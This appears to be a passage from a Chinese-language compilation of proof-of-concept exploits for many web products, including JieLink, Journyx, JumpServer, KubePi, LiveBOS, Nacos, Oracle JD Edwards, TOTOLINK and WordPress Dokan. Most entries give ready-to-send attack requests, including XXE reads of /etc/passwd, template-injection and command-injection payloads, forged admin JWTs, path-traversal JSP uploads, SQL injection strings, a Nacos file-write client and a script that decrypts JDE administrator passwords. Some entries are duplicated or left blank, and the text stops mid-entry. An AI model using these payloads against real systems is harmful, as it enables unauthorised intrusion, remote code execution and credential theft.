eyJ0eXAiOiAiVENWMiJ9.MjFfTWxGODVqLXdTMmNfRjRldk9pMXNQSk1B.MTg1YTZlYzQtMDJlZi00NzljLWFhOWYtMmJiODYzYTYzODNj
```

JieLink

JieLink+智能终端操作平台多个接口处存在敏感信息泄露漏洞poc1

- 漏洞类型：1day - 信息泄露
- 涉及版本：未知
- 利用路径：/report/ParkChargeRecord/GetDataList
- 漏洞详情：

```
POST /report/ParkChargeRecord/GetDataList HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101
Firefox/126.0
Accept: application/json, text/javascript, \*/\*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Authorization: Bearer test
Cookie: JSESSIONID=test;UUID=1; userid=admin
X-Requested-With: XMLHttpRequest
Content-Length: 21
Origin: http://x.xx.xx.x:xxx
Connection: close
Referer: http://x.xx.xx.x:xxx/Report/ParkOutRecord/Index
Sec-GPC: 1
Priority: u=1
page=1&rows=20000
```

JieLink+智能终端操作平台多个接口处存在敏感信息泄露漏洞poc2

- 漏洞类型：1day - 信息泄露
- 涉及版本：未知
- 利用路径：/Report/ParkCommon/GetParkInThroughDeivces
- 漏洞详情：

```
GET /Report/ParkCommon/GetParkInThroughDeivces HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101
Firefox/126.0
Accept: application/json, text/javascript, \*/\*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Origin:
Connection: close
Referer:
Sec-GPC: 1
```

JieLink+智能终端操作平台多个接口处存在敏感信息泄露漏洞poc3

- 漏洞类型：1day - 信息泄露
- 涉及版本：未知
- 利用路径：/report/ParkOutRecord/GetDataList
- 漏洞详情：

```
GET /report/ParkOutRecord/GetDataList HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101
Firefox/126.0
Accept: application/json, text/javascript, \*/\*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Authorization: Bearer test
Cookie: JSESSIONID=test;UUID=1; userid=admin
X-Requested-With: XMLHttpRequest
Content-Length: 2
Origin:
Connection: close
Referer:
Sec-GPC: 1
Priority: u=1
```

journalx

journalx稿件远程处理系统XXE漏洞

- 漏洞类型：1day - XXE
- 涉及版本：未知
- 利用路径：/jtcgi/soap_cgi.pyc
- 漏洞详情：

```
POST /jtcgi/soap_cgi.pyc HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (WindowsNT10.0;Win64; x64) AppleWebKit/537.36 (KHTML,
likeGecko)Chrome/96.0.4664.93Safari/537.36
Content-Type: application/xml

<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "file:///etc/passwd">]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/><soapenv:Body><changeUserPassword><username>&test;</username>
<curpwd>zzz</curpwd><newpwd>zzz123</newpwd></changeUserPassword></soapenv:Body>
</soapenv:Envelope>
```

Journyx存在未经身份验证的XML外部实体注入

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/jtcgi/soap_cgi.pyc
- 漏洞详情：

```
POST /jtcgi/soap_cgi.pyc HTTP/1.1
Host:
Accept: */*
Content-Type: application/x-www-form-urlencoded
Accept-Ldwk: bG91ZG9uZ3dlbmt1
User-Agent: curl/8.1.2
Content-Length: 333
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "file:///etc/passwd">]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/><soapenv:Body><changeUserPassword><username>&test;</username>
<curpwd>zzz</curpwd><newpwd>zzz123</newpwd></changeUserPassword></soapenv:Body>
</soapenv:Envelope>
```

jumpserver

JumpServer(CVE-2024-29202)Jinin2模板注入漏洞

- 漏洞类型：nday - RCE
- 涉及版本：v3.0.0 <= JumpServer <= v3.10.6
- 利用路径：/
- 漏洞详情：

```
[{
     "name": "RCE playbook",
     "hosts": "all",
     "tasks": [
       {
         "name": "this runs in Celery container",
         "shell": "id > /tmp/pwnd",
         "\u0064elegate_to": "localhost"
} ],
     "vars": {
     "ansible_\u0063onnection": "local"
     }
}]
```

JumpServer(CVE-2024-29201)远程代码执行漏洞

- 漏洞类型：nday - RCE
- 涉及版本：v3.0.0 <= JumpServer <= v3.10.6
- 利用路径：/
- 漏洞详情：

```
- name: |
       {% for x in ().__class__.__base__.__subclasses__() %}
         {% if "warning" in x.__name__ %}
           {{
             x()._module.__builtins__["__import__"]("os").system("id >
/tmp/pwnd2")
           }}
         {%endif%}
       {%endfor%}
```

KubePi

KubePi存在JWT token验证绕过漏洞

- 漏洞类型：nday - 未授权访问
- 涉及版本：未知
- 利用路径：/kubepi/api/v1/users
- 漏洞详情：

```
POST /kubepi/api/v1/users HTTP/1.1
Host:
Content-Length: 248
Accept: application/json, text/plain, */*
lang: zh-CN
Content-Type: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/114.0.5735.199 Safari/537.36
sec-ch-ua-platform: ""
Origin: http://127.0.0.1:9982
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:9982/kubepi/user-management/users/create
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJuaWNrTmFtZSI6IkFkbWlu
aXN0cmF0b3IiLCJlbWFpbCI6InN1cHBvcnRAZml0MmNsb3VkLmNvbSIsImxhbmd1YWdlIjoiemgtQ04iL
CJyZXNvdXJjZVBlcm1pc3Npb25zIjp7fSwiaXNBZG1pbmlzdHJhdG9yIjp0cnVlLCJtZmEiOnsiZW5hYm
xlIjpmYWxzZSwic2VjcmV0IjoiIiwiYXBwcm92ZWQiOmZhbHNlfSwiaWF0IjoxNzE2NDQ3MDEyLCJleHA
iOjE3MjI0NDcwMTJ9.dedNLwXZu0JY1sgGBCRZmpFvAnLdHjxdPmKWXA7LCf4
Connection: close

{"apiVersion":"v1","kind":"User","name":"test1","roles":["Common User","Manage
Image Registries","Manage Clusters","Manage
RBAC"],"nickName":"tang","email":"test1@qq.com","authenticate":
{"password":"12345678@Test"},"mfa":{"enable":false,"secret":""}}
```

LiveBOS

LiveBOS接口UploadFile.do存在任意文件上传漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/feed/UploadFile.do
- 漏洞详情：

```
POST /feed/UploadFile.do;.js.jsp HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101
Firefox/128.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxegqoxxi
Connection: close

---WebKitFormBoundaryxegqoxxi
Content-Disposition:form-data; name="file"; filename="/../../../../rce.jsp"
Content-Type: image/jpeg

<%@ page import="java.io.File" %>
<%
 out.println("asdasd");
 String filePath = application.getRealPath(request.getServletPath());
 new File(filePath).delete();
%>
---WebKitFormBoundaryxegqoxxi--
```

灵动业务架构平台（LiveBOS）UploadFile.do 接口文件上传漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/feed/UploadFile.do
- 漏洞详情：

```
POST /feed/UploadFile.do;.css.jsp HTTP/1.1
Host:
Httpsendrequestex: true
User-Agent: PostmanRuntime/7.29.0
Accept: */* Postman-Token: 049266bd-e740-40bf-845f-bc511296894e
Accept-Encoding: gzip, deflate
Cookie: zhzbsessionname=35FF312409BF3CAC561D5BC776643A05
Content-Type: multipart/form-data;
boundary=--------------------------688644671867822357584225
Content-Length: 222

----------------------------688644671867822357584225
```

```
Content-Disposition: form-data; name="NewFile"; filename="/../../../11.jsp"
Content-Type: text/plain
test ----------------------------688644671867822357584225--
```

LiveBOS UploadImage.do 接口任意文件上传

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/feed/UploadImage.do
- 漏洞详情：

```
POST /feed/UploadImage.do;.js.jsp HTTP/1.1
Host:
User-Agent: Mozilla/4.0(compatible; MSIE 9.0; Windows NT 6.1)
Content-Length: 274
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryxegqoxxi
Accept-Encoding: gzip
---WebKitFormBoundaryxegqoxxi
Content-Disposition: form-data; name="file";
filename="../../../../../../././../../../../../java/fh/tomcat_fhxszsq/LiveBos/For
mBuilder/
feed/jsp/vtnifpvi.js" Content-Type: image/jpeg
GIF89a 123123123
---WebKitFormBoundaryxegqoxxi--
```

LiveGBS

LiveGBS任意用户密码重置漏洞

- 漏洞类型：1day - 未授权访问
- 涉及版本：未知
- 利用路径：

```
/api/v1/user/list
/api/v1/user/resetpassword
```

- 漏洞详情：

```
获取用户id
/api/v1/user/list?q=&start=&limit=10&enable=&sort=CreatedAt&order=desc

通过id重置密码
/api/v1/user/resetpassword?id=22&password=123456
```

LiveNVR

LiveNVR流媒体服务软件存在未授权访问漏洞

- 漏洞类型：nday - 未授权访问
- 涉及版本：未知
- 利用路径：/api/v1/device/channeltree?serial=&pcode
- 漏洞详情：

```
/api/v1/device/channeltree?serial=&pcode
```

Mtab

Mtab书签导航程序存在SQL注入漏洞

- 漏洞类型：1day - SQL注入
- 涉及版本：未知
- 利用路径：/LinkStore/getIcon
- 漏洞详情：

```
POST /LinkStore/getIcon HTTP/1.1
X-Requested-With: XMLHttpRequest
Content-Type: application/json
Accept: application/json, text/plain, */*
Content-Length: 50
Accept-Encoding: gzip,deflate,br
Accept-Ldwk: bG91ZG9uZ3dlbmt1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/121.0.0.0 Safari/537.36
Host: demo.mtab.cc
Connection: Keep-alive

{"url":"'XOR(if(now()=sysdate(),sleep(4),0))XOR'"}
```

Nacos

Nacos任意文件读写漏洞

- 漏洞类型：1day - RCE
- 涉及版本：<=2.4.0.1
- 利用路径：Jraft服务
- 漏洞详情：

```
public static void send(String addr, byte[] payload) throws Exception {
    Configuration conf = new Configuration();
    conf.parse(addr);
    RouteTable.getInstance().updateConfiguration("nacos", conf);
    CliClientServiceImpl cliClientService = new CliClientServiceImpl();
    cliClientService.init(new CliOptions());
    RouteTable.getInstance().refreshLeader(cliClientService, "nacos",
1000).isOk();
    PeerId leader = PeerId.parsePeer(addr);
    Field parserClasses =
cliClientService.getRpcClient().getClass().getDeclaredField("parserClasses");
    parserClasses.setAccessible(true);
    ConcurrentHashMap map = (ConcurrentHashMap)
parserClasses.get(cliClientService.getRpcClient());
    map.put("com.alibaba.nacos.consistency.entity.WriteRequest",
WriteRequest.getDefaultInstance());
    MarshallerHelper.registerRespInstance(WriteRequest.class.getName(),
WriteRequest.getDefaultInstance());
    final WriteRequest writeRequest =
WriteRequest.newBuilder().setGroup("naming_persistent_service").setData(ByteStrin
g.copyFrom(payload)).setOperation("Write").build();
    Object o = cliClientService.getRpcClient().invokeSync(leader.getEndpoint(),
writeRequest, 5000);
    System.out.println(o);
}

public static void main(String[] args) throws Exception {
        String address = "192.168.3.153:7848";
        BatchWriteRequest request = new BatchWriteRequest();
        request.append("1.txt".getBytes(), "aaaa\n".getBytes());//
向/home/nacos/data/naming/data/1.txt写入aaaa
        JacksonSerializer serializer = new JacksonSerializer();
        send(address, serializer.serialize(request));
    }
```

Oracle

WebLogic远程代码执行漏洞(CVE-2024-21006)

- 漏洞类型：nday - RCE
- 涉及版本：12.2.1.4.0 和 14.1.1.0.0
- 利用路径：无
- 漏洞详情：

```
无
```

WebLogic Server 远程代码执行漏洞（XVE-2024-4789)

- 漏洞类型：0day - RCE
- 涉及版本：未知
- 利用路径：未知
- 漏洞详情：

```
未知
```

Oracle JD Edwards EnterpriseOne Tools 未授权获取管理员密码漏洞

- 漏洞类型：1day - 未授权访问
- 涉及版本：未知
- 利用路径：/manage/fileDownloader
- 漏洞详情：

```
GET /manage/fileDownloader?sec=1 HTTP/1.1
Host:
```

Oracle-JDEdwards-EnterpriseOne未授权获取管理员密码泄漏

- 漏洞类型：1day - 未授权访问
- 涉及版本：未知
- 利用路径：/manage/fileDownloader?sec=1
- 漏洞详情：

```
import base64
import argparse
import subprocess
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

def main():
    # Parse command-line arguments
    parser = argparse.ArgumentParser(description='Decrypt a given string.')
    parser.add_argument('--string', help='The string to be decrypted')
    parser.add_argument('--target', help='The target URL to fetch the string
from')
    args = parser.parse_args()

    if args.target:
        # Fetch the response from the target URL
        response = fetch_target_string_with_curl(args.target)
        if response:
            input_str = response
            print(f"Fetched string from target: {input_str}")
        else:
            print("No valid string found in the response.")
            return
    elif args.string:
        input_str = args.string
    else:
        print("You must provide either --string or --target.")
        return

    # Decrypt the string
    array_of_bytes = jde_decipher(input_str.encode("UTF-8"))
    print("Decrypted string:", array_of_bytes.decode("UTF-8"))

def fetch_target_string_with_curl(target_url):
    try:
        # Use curl to fetch the target URL with SSL verification disabled
        result = subprocess.run(['curl', '-k', target_url], capture_output=True,
text=True)
        if result.returncode == 0:
            response_text = result.stdout.strip()
            print("Response received:")
            print(response_text)  # Print for debugging
            return response_text
        else:
            print(f"curl failed with return code {result.returncode}")
            return None
    except Exception as e:
        print(f"Failed to fetch from target using curl: {e}")
        return None

def jde_decipher(param_array_of_bytes):
    array_of_bytes_1 = show_buffer(param_array_of_bytes)
    array_of_bytes_2 = base64.b64decode(array_of_bytes_1)
    return array_of_bytes_2

def show_buffer(param_array_of_bytes):
    array_of_bytes_1 = bytearray(len(param_array_of_bytes) // 2)
    for j in range(len(array_of_bytes_1)):
        i = 2 * j
        array_of_bytes_1[j] = ((param_array_of_bytes[i] - 65) << 4) +
(param_array_of_bytes[i + 1] - 65)

    if array_of_bytes_1[0] != 2:
        raise Exception("Invalid version for net showBuffer")

    array_of_bytes_2 = bytearray(16)
    array_of_bytes_3 = bytearray(16)
    gen_keys(array_of_bytes_2, array_of_bytes_3, array_of_bytes_1[3])

    cipher = AES.new(array_of_bytes_2, AES.MODE_CBC, iv=array_of_bytes_3)
    array_of_bytes_4 = unpad(cipher.decrypt(bytes(array_of_bytes_1[6:])),
AES.block_size)

    return array_of_bytes_4

def gen_keys(param_array_of_bytes_1, param_array_of_bytes_2, param_byte):
    array_of_bytes_1 = bytearray([65, 4, 95, 12, 88, 41, 6, 114, 119, 93, 37, 68,
75, 19, 49, 46])
    array_of_bytes_2 = bytearray([107, 34, 26, 94, 68, 41, 119, 48, 3, 88, 28,
97, 5, 127, 77, 54])
    array_of_bytes_3 = bytearray([36, 89, 113, 109, 38, 15, 7, 66, 76, 115, 16,
53, 106, 94, 27, 56])

    j = param_byte >> 4
    k = param_byte & 0xF
    m = array_of_bytes_3[j]
    for i in range(16):
        param_array_of_bytes_1[i] = array_of_bytes_1[i] ^ m

    m = array_of_bytes_3[k]
    for i in range(16):
        param_array_of_bytes_2[i] = array_of_bytes_2[i] ^ m

if __name__ == "__main__":
    main()
```

panabit

panabit日志审计系统sprog_upstatus存在SQL注入漏洞

- 漏洞类型：1day - SQL注入
- 涉及版本：未知
- 利用路径：/Maintain/sprog_upstatus.php
- 漏洞详情：

```
GET /Maintain/sprog_upstatus.php?
status=1&id=1%20and%20updatexml(1,concat(0x7e,user()),0)&rdb=1 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Host: 47.93.242.67
```

Panabit

Panabit Panalog /Maintain/sprog_upstatus.phpSQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/Maintain/sprog_upstatus.php
- 漏洞详情：

```
GET
/Maintain/sprog_upstatus.php?status=1&id=1%20and%20updatexml(1,concat(
0x7e,user()),0)&rdb=1 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
```

PEPM

PEPM Cookie 远程代码执行漏洞

- 漏洞类型：未知 - RCE
- 涉及版本：未知
- 利用路径：未知
- 漏洞详情：

```
未知
```

PerkinElmer

PerkinElmer-ProcessPlus存在文件读取漏洞(CVE-2024-6911)

- 漏洞类型：nday - 任意文件读取
- 涉及版本：1.11.6507.0
- 利用路径：/ProcessPlus/Log/Download/
- 漏洞详情：

```
GET /ProcessPlus/Log/Download/?filename=..\..\..\..\..\..\Windows\System32\drivers\etc\hosts&filenameWithSerialNumber=_Errors_2102162.log HTTP/1.1
Host:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Ldwk: YmllY2hhb2xlc2I=
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
```

PowerPMS

PowerPMS APPGetUser 接口 SQL 注入漏洞

- 漏洞类型：0day - SQL注入
- 涉及版本：未知
- 利用路径：/APPAccount/APPGetUser
- 漏洞详情：

```
GET /APPAccount/APPGetUser?name=1%27%29%3BWAITFOR+DELAY+%270%3A0%3A5%27-- HTTP/1.1
```

python

aiohttp存在目录遍历漏洞(CVE-2024-23334)

- 漏洞类型：nday - 目录遍历
- 涉及版本：未知
- 利用路径：/static/../../../../../../etc/passwd
- 漏洞详情：

```
GET /static/../../../../../../etc/passwd HTTP/1.1
Host: xxxxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

Quicklancer

Quicklancer存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/listing
- 漏洞详情：

```
GET /listing?cat=6&filter=1&job-type=1&keywords=Mr.&location=1&order=desc&placeid=US&placetype=country&range1=1&range2=1&salary-type=1&sort=id&subcat= HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Host: 
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


python3 sqlmap.py -r test.txt -p range2 --dbms=mysql --current-db --current-user --batch
```

Quicklancer存在SQL注入漏洞

- 漏洞类型：1day - SQL注入
- 涉及版本：未知
- 利用路径：/listing

- 漏洞详情：

```
GET /listing?cat=6&filter=1&job-type=1&keywords=Mr.&location=1&order=desc&placeid=US&placetype=country&range1=1&range2=1&salary-type=1&sort=id&subcat= HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Host: 
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


python3 sqlmap.py -r test.txt -p range2 --dbms=mysql --current-db --current-user --batch
```

RAISECOM

RAISECOM网关设备list_base_config.php存在远程命令执行漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/vpn/list_base_config.php
- 漏洞详情：

```
GET /vpn/list_base_config.php?type=mod&parts=base_config&template=%60echo+-e+%27%3C%3Fphp+phpinfo%28%29%3B%3F%3E%27%3E%2Fwww%2Ftmp%2Finfo.php%60 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

```

RAISECOM网关设备list_base_config.php存在远程命令执行漏洞

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/vpn/list_base_config.php
- 漏洞详情：

```
GET /vpn/list_base_config.php?type=mod&parts=base_config&template=%60echo+-e+%27%3C%3Fphp+phpinfo%28%29%3B%3F%3E%27%3E%2Fwww%2Ftmp%2Finfo.php%60 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
```

SPIP

SPIP-porte_plume插件存在任意PHP执行漏洞(CVE-2024-7954)

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/index.php
- 漏洞详情：

```
POST /index.php?action=porte_plume_previsu HTTP/1.1
Host: 127.0.0.1
Connection: close
Content-Type: application/x-www-form-urlencoded
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/128.0.0.0 Safari/537.36

data=AA_%5B%3Cimg111111%3E-
%3EURL%60%3C%3Fphp+system%28%22whoami%22%29%3B%3F%3E%60%5D_BB
```

SpringBlade

SpringBlade系统menu接口存在SQL注入漏洞

- 漏洞类型：1day - SQL注入
- 涉及版本：未知
- 利用路径：/api/blade-system/menu/list
- 漏洞详情：

```
GET /api/blade-system/menu/list?updatexml(1,concat(0x7e,md5(1),0x7e),1)=1
HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101
Firefox/122.0
Blade-Auth: bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJ1c2VyX25hbWUi
OiJhZG1pbiIsInJlYWxfbmFtZSI6IueuoeeQhuWRmCIsImF1dGhvcml0aWVzIjpbImFkbWluaXN0cmF0b
3IiXSwiY2xpZW50X2lkIjoic2FiZXIiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwibGljZW5zZS
I6InBvd2VyZWQgYnkgYmxhZGV4IiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2l
kIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwic2Nv
cGUiOlsiYWxsIl0sIm5pY2tfbmFtZSI6IueuoeeQhuWRmCIsIm9hdXRoX2lkIjoiIiwiZGV0YWlsIjp7I
nR5cGUiOiJ3ZWIifSwiYWNjb3VudCI6ImFkbWluIn0.RtS67Tmbo7yFKHyMz_bMQW7dfgNjxZW47KtnFc
wItxQ
Connection: close
```

SuiteCRM

SuiteCRM responseEntryPoint存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/index.php?entryPoint=responseEntryPoint&event=1&delegate=
- 漏洞详情：

```
GET /index.php?entryPoint=responseEntryPoint&event=1&delegate=a<"+UNION+SELECT+SLEEP(5);--+-&type=c&response=accept HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
```

todesk

todesk config.ini算法缺陷可被猜解导致rce

- 漏洞类型：0day - RCE
- 涉及版本：v4.7.4.2
- 利用路径：未知
- 漏洞详情：

```
未知
```

TOTOLINK

T18-1TOTOLINK-A6000R-RCE

- 漏洞类型：nday - RCE
- 涉及版本：A6000R
- 利用路径：/cgi-bin/luci/admin/mtk/webcmd
- 漏洞详情：

```
GET /cgi-bin/luci/admin/mtk/webcmd?cmd=ls%20/>/www/555.txt HTTP/1.1
Host: 192.168.187.136
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
```

```
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: sysauth=80c79bd6ad9bfba9656b7a8bee2a988f
```

TOTOLINK-A3700R未授权访问漏洞

- 漏洞类型：nday - 未授权访问
- 涉及版本：未知
- 利用路径：/wizard.html
- 漏洞详情：

```
http://ip/wizard.html
http://ip/phone/wizard.html
```

TOTOLINK多个版本存在泄漏账号密码

- 漏洞类型：nday - 信息泄露
- 涉及版本：未知
- 利用路径：/cgi-bin/ExportSettings.sh
- 漏洞详情：

```
/cgi-bin/ExportSettings.sh
```

TVT

TVT DVR接口queryDevInfo存在信息泄漏(CVE-2024-7339)

- 漏洞类型：nday - 信息泄露
- 涉及版本：未知
- 利用路径：/queryDevInfo
- 漏洞详情：

```
curl -X POST "http://ip/queryDevInfo" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Accept-Encoding: gzip, deflate" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" \
-H "Upgrade-Insecure-Requests: 1" \
-H "Connection: keep-alive" \
-H "User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS like Mac OS X) AppleWebKit
(KHTML, like Gecko) Version Mobile Safari" \
-H "Content-Length: 103" \
-d '<?xml version="1.0" encoding="utf-8" ?><request version="1.0"
systemType="NVMS-9000" clientType="WEB"/>'
```

VvvebJs

VvvebJs < 1.7.5 Arbitrary File Upload - RCE (CVE-2024-29272)

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/save.php
- 漏洞详情：

```
id: CVE-2024-29272

info:
  name: VvvebJs < 1.7.5 - Arbitrary File Upload
  author: s4e-io
  severity: medium
  description: |
    Arbitrary File Upload vulnerability in VvvebJs before version 1.7.5, allows
unauthenticated remote attackers to execute arbitrary code and obtain sensitive
information via the sanitizeFileName parameter in save.php.
  reference:
    - https://github.com/awjkjflkwlekfdjs/CVE-2024-29272/
    - https://github.com/givanz/VvvebJs/issues/343
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29272
    - https://vuldb.com/?id.257680
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2024-29272
    cwe-id: CWE-434
    epss-score: 0.00043
    epss-percentile: 0.09538
    cpe: cpe:2.3:a:vvvebjs:vvvebjs:1.7.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: vvvebjs
    product: vvvebjs
    fofq-query: icon_hash="524332373"
  tags: cve,cve2024,file-upload

variables:
  num: "{{rand_int(1000, 9999)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /save.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        file=demo/landing/index.php&html={{md5(num)}}
    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"File saved")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /demo/landing/index.php HTTP/1.1
        Host: {{Hostname}}
    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"{{md5(num)}}")'
          - 'status_code == 200'
        condition: and
```

WookTeam

WookTeam轻量级的团队在线协作系统接口searchinfo存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/api/users/searchinfo
- 漏洞详情：

```
GET /api/users/searchinfo?where[username]=1%27%29+UNION+ALL+SELECT+NULL%2CCONCAT%280x7e%2Cuser%28%29%2C0x7e%29%2CNULL%2CNULL%2CNULL%23 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: keep-alive
Host: your-ip
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
```

WordPress

WordPress Dokan Pro 插件未授权SQL 注入

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/wp-admin/admin.php?webhook=dokan-moip
- 漏洞详情：

```
POST /wp-admin/admin.php?webhook=dokan-moip HTTP/1.1
Host:

{"env":"1","event":"invoice.created","resource":{"subscription_code":"11111' and(select 1 from (select sleep( if(1=1,6,0) ))x )='"}}
```

WVP

WVP视频平台(国标28181)未授权SQL注入漏洞

- 漏洞类型：1day - SQL注入
- 涉及版本：未知
- 利用路径：/api/push/list
- 漏洞详情：

```
GET /api/push/list?page=1&count=15&query=1'&pushing=&mediaServerId= HTTP/1.1
Host:
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
```

ZoneMinder

ZoneMinder系统sort接口存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/zm/index.php
- 漏洞详情：

```
/zm/index.php?
